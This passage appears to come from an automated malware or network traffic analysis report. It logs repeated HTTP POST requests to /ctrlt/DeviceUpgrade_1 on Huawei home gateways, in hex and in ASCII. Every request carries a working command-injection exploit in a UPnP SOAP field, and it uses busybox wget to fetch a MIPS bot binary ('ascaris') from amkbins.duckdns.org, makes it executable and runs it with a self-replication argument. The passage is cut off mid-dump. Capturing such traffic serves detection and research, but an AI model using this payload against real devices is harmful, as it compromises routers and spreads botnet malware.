6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 3b 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g amkbins.duckdns.org -l /tmp/ascaris -r /bins/ascaris.mips;chmod 777 /tmp/ascaris;/tmp/ascaris huawei.selfrep;rm -rf /tmp/ascaris)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 3b 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g amkbins.duckdns.org -l /tmp/ascaris -r /bins/ascaris.mips;chmod 777 /tmp/ascaris;/tmp/ascaris huawei.selfrep;rm -rf /tmp/ascaris)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 3b 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g amkbins.duckdns.org -l /tmp/ascaris -r /bins/ascaris.mips;chmod 777 /tmp/ascaris;/tmp/ascaris huawei.selfrep;rm -rf /tmp/ascaris)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 3b 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g amkbins.duckdns.org -l /tmp/ascaris -r /bins/ascaris.mips;chmod 777 /tmp/ascaris;/tmp/ascaris huawei.selfrep;rm -rf /tmp/ascaris)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 3b 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g amkbins.duckdns.org -l /tmp/ascaris -r /bins/ascaris.mips;chmod 777 /tmp/ascaris;/tmp/ascaris huawei.selfrep;rm -rf /tmp/ascaris)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 